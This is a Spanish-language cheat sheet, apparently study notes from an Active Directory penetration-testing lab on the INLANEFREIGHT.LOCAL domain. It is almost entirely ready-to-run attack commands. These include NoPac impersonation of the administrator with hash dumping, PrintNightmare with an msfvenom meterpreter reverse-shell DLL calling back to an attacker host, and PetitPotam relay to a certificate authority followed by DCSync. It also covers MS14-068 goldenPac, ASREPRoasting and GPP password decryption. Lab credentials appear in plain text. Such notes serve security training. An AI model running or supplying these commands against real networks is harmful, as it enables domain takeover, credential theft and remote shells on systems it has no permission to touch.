hackalex
EN
Menú

Acceso Privilegiado, Vulnerabilidades y Misconfigs

Apunte técnico

Acceso Privilegiado

Para ver qué usuarios son admins usa la custom query de BloodHound. Para resolver la IP de un equipo:
powershell
Resolve-DnsName -Name "ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL"
nslookup SQL01.inlanefreight.local

PowerUpSQL

powershell
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain
Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'

Vulnerabilidades

NoPac (SamAccountName Spoofing)

Permite a un usuario normal convertirse en Domain Admin en segundos: se crea una cuenta de computadora (permitido por defecto) y se renombra para que coincida con un DC; al pedir tickets Kerberos el sistema la confunde con el DC real.
terminal
$ sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap$ sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator

PrintNightmare

Fallo en el servicio de impresión que permite ejecutar una DLL maliciosa desde una carpeta SMB → shell inversa con permisos de SYSTEM.
terminal
rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dllsudo smbserver.py -smb2support CompData /path/to/backupscript.dll$ sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'

PetitPotam

Fuerza a un DC a autenticarse con NTLM; se relaya a un Certificate Authority para obtener un certificado, que se usa para pedir un TGT.
terminal
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController$ python3 PetitPotam.py 172.16.5.225 172.16.5.5# Con el certificado base64 del DC, obtener TGT y DCSync:$ python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 <CERT_B64> dc01.ccache$ export KRB5CCNAME=dc01.ccachesecretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

Misconfigs

  • Grupos peligrosos: Exchange Windows Permissions y Organization Management pueden otorgar DCSync. Get-DomainGroupMember -Identity "Exchange Windows Permissions"
  • PrivExchange: autenticación forzada del servidor Exchange; relay a LDAP con ntlmrelayx.
  • Printer Bug (MS-RPRN): fuerza autenticación SMB desde el Spooler (SYSTEM). Get-SpoolStatus -ComputerName DC01.domain.local
  • MS14-068: PAC falsificado para elevar a Domain Admin. goldenPac.py dominio/usuario:contraseña@dc.dominio.local
  • Captura de credenciales LDAP: redirigir LDAP a un listener. nc -lvp 389
  • adidnsdump: descubre registros DNS ocultos. adidnsdump -u dominio\\usuario ldap://ip.dc -r
  • Contraseñas en descripción: Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}
  • PASSWD_NOTREQD: Get-DomainUser -UACFilter PASSWD_NOTREQD
  • Credenciales en SYSVOL/Scripts: cat \\DC\SYSVOL\dominio\scripts\script.vbs
  • Contraseñas en GPP: gpp-decrypt <cpassword> / crackmapexec smb <IP> -M gpp_password
  • ASREPRoasting: Get-DomainUser -PreauthNotRequired / GetNPUsers.py dominio/ -usersfile usuarios.txt
  • Abuso de GPOs: Get-DomainGPO | Get-ObjectAcl; explotación con SharpGPOAbuse.